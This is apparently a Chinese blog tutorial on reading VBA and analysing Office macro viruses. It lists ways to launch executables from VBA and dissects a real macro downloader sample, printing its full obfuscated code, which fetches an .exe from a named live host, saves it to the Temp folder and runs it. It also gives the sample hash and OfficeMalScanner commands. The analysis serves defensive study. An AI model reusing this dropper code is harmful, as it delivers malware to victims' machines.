  4. objFolder.Items().Item("XMLHTTP_calc.exe").invokeverb '方法1
  5. objFolder.Items().Item("XMLHTTP_calc.exe").InvokeVerbEx '方法2
  6. objShellApp.Open (ThisWorkbook.Path & "\XMLHTTP_calc.exe") '方法3
  7. objShellApp.ShellExecute "XMLHTTP_calc.exe", "", ThisWorkbook.Path & "\", "", "1" '方法4,可以加参数和设置参数值
  8. Set objFolderItem = objShellApp.Namespace(ThisWorkbook.Path & "\").Items().Item("XMLHTTP_calc.exe") '方法5
  9. Set objFIVs = objFolderItem.Verbs()
  10. For i = 0 To objFIVs.Count - 1
  11. 'MsgBox objFIVs.Item(i)
  12. Set objFIV = objFIVs.Item(i)
  13. If objFIV.Name = "打开(&O)" Then '右键菜单中在中文系统是"打开(&O)",英文自己改
  14. objFIV.DoIt '执行程序
  15. Exit For
  16. End If
  17. Next
  18. objShellApp.FileRun ThisWorkbook.Path & "\XMLHTTP_calc.exe" '方法6
  19. End Sub
    • Wscript.Shell对象

参数说明:

  • Run 运行应用程序

示例代码:

  1. Sub Wscript_Shell对象01()
  2. Set objShell = CreateObject("Wscript.Shell")
  3. objShell.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"
  4. Set objShell_1 = CreateObject("Wscript.Shell.1")
  5. objShell_1.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"
  6. End Sub

4、案例:宏病毒分析

目前遇到的纯用宏感染的病毒家族APMP(感染性)、lokcy(勒索者)、ATP(钓鱼邮件)。

(1) 调试环境

  • 操作系统:Windows 7
  • 监控与调试工具:WireShark、火绒剑、文档自带宏编译器
  • 样本HASH值:b5ee8925742637a8484f6e1cb08a1c989cb4a8f9e66a8179c929dd789c07c06d

(2) 调试过程

样本是从某平台上看到的文章《一款流行的VBA宏病毒技术分析》根据IOC搜索出来的

  • 思路:

程序主函数->调用的对象->网络行为->文件行为

  • 主函数

ThisDocument 模块下的 autoopen() 函数。

  1. 主函数
  2. Sub autoopen()
  3. ' 传了个数值
  4. VEeve (8.2)
  5. End Sub
  6. ' 调用函数
  7. Sub VEeve(FFFFF As Long)
  8. ' 调用病毒主函数
  9. LWS8UPvw1QGKq
  10. End Sub
  • 病毒主函数代码分析

进入LWS8UPvw1QGKq函数,F8单步跟踪。

    • 网络行为主要实现

通过关键函数调试,使用Debug.Print输出的加密函数内容。

  1. ' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
  2. Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)
  3. Debug.Print Now & " : " & Nrh1INh1S5hGed '输出加密字符串内容
  4. ' 进入解密函数,创建了对象 Microsoft.XMLHTTP
  5. Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")
  6. ' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe
  7. Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")
  8. ' 下载文件
  9. ' LhZitls7wPn = Microsoft.XMLHTTP
  10. ' LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
  11. CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
  12. Nrh1INh1S5hGed _
  13. , False

加密函数lLJrFk6pKsSYJ:

其中各种乱序的字符串会调用lLJrFk6pKsSYJ函数做解密函数使用,目的是为了将< = ;这些符号替换成空。

使用Debug.Print就可以输出每次被替换出来的真实内容。

  1. ' 解密函数
  2. Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String)
  3. ' 替换 60 < 61 = 59 ;
  4. L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")
  5. ' 获取每次解密后的内容
  6. Debug.Print Now & " : " & L9QLFPTuZDwM
  7. ' 这个函数会将加密后的字符串解密,然后创建对象的实例
  8. Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM)
  9. End Function
    • 运行文件实现
  1. ' 通过对象下载文件
  2. ' LhZitls7wPn = Microsoft.XMLHTTP
  3. ' LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
  4. CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
  5. Nrh1INh1S5hGed _
  6. , False
  7. ' vu2Wh85645xcP0 = 创建WScript.Shell对象实例
  8. Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))
  9. ' WScript.Shell "Environment" Process
  10. Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")
  11. ' "C:\Users\USER\AppData\Local\Temp"
  12. SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))
  13. ' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
  14. aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)
  15. Dim bvGEpxCVsZ() As Byte
  16. ' http send
  17. CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
  18. ' "responseBody"
  19. bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
  20. ' 保存文件
  21. FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
  22. On Error GoTo OhXhZLRKh
  23. a = 84 / 0
  24. On Error GoTo 0
  25. ' 退出函数
  26. xrIvr6mOXvFG:
  27. Exit Sub
  28. ' 进入
  29. OhXhZLRKh:
  30. ' 执行命令函数
  31. ENMD3t8EY4A ("UfBPGay4VPJi")
  32. Resume xrIvr6mOXvFG
  33. End Sub

完整函数代码:

  1. '病毒主函数
  2. Sub LWS8UPvw1QGKq()
  3. ' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
  4. Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)
  5. Debug.Print Now & " : " & Nrh1INh1S5hGed
  6. ' 进入解密函数,创建了对象 Microsoft.XMLHTTP
  7. Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")
  8. ' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe
  9. Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")
  10. ' 通过对象下载文件
  11. ' LhZitls7wPn = Microsoft.XMLHTTP
  12. ' LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
  13. CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
  14. Nrh1INh1S5hGed _
  15. , False
  16. ' vu2Wh85645xcP0 = 创建WScript.Shell对象实例
  17. Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))
  18. ' WScript.Shell "Environment" Process
  19. Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")
  20. ' "C:\Users\USER\AppData\Local\Temp"
  21. SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))
  22. ' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
  23. aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)
  24. Dim bvGEpxCVsZ() As Byte
  25. ' http send
  26. CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
  27. ' "responseBody"
  28. bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
  29. ' 保存文件
  30. FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
  31. On Error GoTo OhXhZLRKh
  32. a = 84 / 0
  33. On Error GoTo 0
  34. ' 退出函数
  35. xrIvr6mOXvFG:
  36. Exit Sub
  37. ' 进入
  38. OhXhZLRKh:
  39. ' 执行命令函数
  40. ENMD3t8EY4A ("UfBPGay4VPJi")
  41. Resume xrIvr6mOXvFG
  42. End Sub

(3) 工具提取宏

使用 OfficeMalScanner,可以将宏导出来以便分析。

  • 1、解压文档文件

OfficeMalScanner.exe 宏病毒文档.docm inflate

  • 2、提取宏代码

OfficeMalScanner.exe vbaProject.bin info

脚本病毒分析扫描专题1-VBA代码阅读扫盲、宏病毒分析的更多相关文章

  1. 脚本病毒分析扫描专题2-Powershell代码阅读扫盲

    4.2.PowerShell 为了保障木马样本的体积很小利于传播.攻击者会借助宏->WMI->Powershell的方式下载可执行文件恶意代码.最近也经常会遇见利用Powershell通过 ...

  2. vba代码阅读

    #If Vba7 Then #如果是运行在64位office上 Declare PtrSafe Sub...#Else #如果是运行在32位office上 Declare Sub...#EndIf 在 ...

  3. 【病毒分析】对一个vbs脚本病毒的分析

    [病毒分析]对一个vbs脚本病毒的分析 本文来源:i春秋社区-分享你的技术,为安全加点温度 一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如 ...

  4. VBS脚本病毒特点及如何防范3(转)

    5.Vbs病毒生产机的原理介绍 所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件.在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单. 脚本语言是解释执行的.不需要编译,程序 ...

  5. VBA Dumper v0.1.4.2, 提取office文档中的VBA代码,监查宏病毒恢复代码(演示版

    http://club.excelhome.net/thread-970051-1-1.html VBA Dumper 0.1.4.2更新,填补国内同类程序空白 此程序为演示版,可以在无office的 ...

  6. 如何更有效使用 Rational AppScan 扫描大型网站,第 2 部分: 案例分析

    使用 AppScan 进行扫描 针对大型网站的扫描,我们按照戴明环 PDCA 的方法论来进行规划和讨论,建议 AppScan 使用步骤:计划(Plan).执行(Do).检查(check).分析(Ana ...

  7. 二维码zxing源码分析(五)精简代码

    由于工作的需要,我并不是需要二维码扫描的所有的功能,我只是需要扫一扫,并显示出来图片和url就行,于是我们就要精简代码了,源码已经分析完了,精简起来就方便多了,源码分析请看 二维码zxing源码分析( ...

  8. Linux内核启动代码分析二之开发板相关驱动程序加载分析

    Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c  start_ke ...

  9. 升级:DNAtools for Excel工具箱,2.x英文版- VBA代码破解工具

    原始出处:www.cnblogs.com/Charltsing/p/DnaTools.html QQ:564955427 DNA工具箱全部功能一览:    单元格焦点指示(支持Excel 2007~2 ...

随机推荐

  1. Ubuntu 12.04下LAMP环境搭建实录

    方法一: 用tasksel可以方便安装dns server, lamp, kubuntu desktop, ubuntu desktop, xubuntu之类的软件包.这个软件在ubuntu serv ...

  2. Trailing Zeroes (I) LightOJ - 1028(求因子个数)

    题意: 给出一个N 求N有多少个别的进制的数有后导零 解析: 对于一个别的进制的数要转化为10进制 (我们暂且只分析二进制就好啦) An * 2^(n-1) + An-1 * 2^(n-2) + `` ...

  3. kiki's game HDU - 2147(找规律)

    #include"stdio.h" int main( ) { int n,m; ||m!=)) { ==||m%==) printf("Wonderful!\n&quo ...

  4. 实现运行在独立线程池的调度功能,基于Spring和Annotation

    使用Spring的注解(@Scheduled)声明多个调度的时候,由于其默认实现机制,将导致多个调度方法之间相互干扰(简单理解就是调度不按配置的时间点执行). 为了解决该问题尝试了修改线程池大小,但是 ...

  5. Java类编译、加载、和执行机制

    Java类编译.加载.和执行机制 标签: java 类加载 类编译 类执行 机制 0.前言 个人认为,对于JVM的理解,主要是两大方面内容: Java类的编译.加载和执行. JVM的内存管理和垃圾回收 ...

  6. bzoj 1914: [Usaco2010 OPen]Triangle Counting 数三角形

    USACO划水中... 题目中要求经过原点的三角形数目,但这种三角形没什么明显的特点并不好求,所以可以求不经过原点的三角形数量. 对于一个非法三角形,它离原点最近的那条边连接的两个点所连的两条边一定在 ...

  7. xampp+vscode开发php的配置流程

    一.所需文件 1.xampp集成服务器(个人使用7.1.7)https://www.apachefriends.org/download.html 2.vscode https://code.visu ...

  8. Harris角点及Shi-Tomasi角点检测(转)

    一.角点定义 有定义角点的几段话: 1.角点检测(Corner Detection)是计算机视觉系统中用来获得图像特征的一种方法,广泛应用于运动检测.图像匹配.视频跟踪.三维建模和目标识别等领域中.也 ...

  9. php static 变量用法

    有时候我们可能需要重复调用一个函数,里面有些变量不需要重复初始化.初始化成本比较高的,我们可以使用 static 关键字修饰,在该变量没有初始化的时候才进行初始化,初始化过的变量就不再初始化.如: f ...

  10. word2vec原理CBOW与Skip-Gram模型基础

    转自http://www.cnblogs.com/pinard/p/7160330.html刘建平Pinard word2vec是google在2013年推出的一个NLP工具,它的特点是将所有的词向量 ...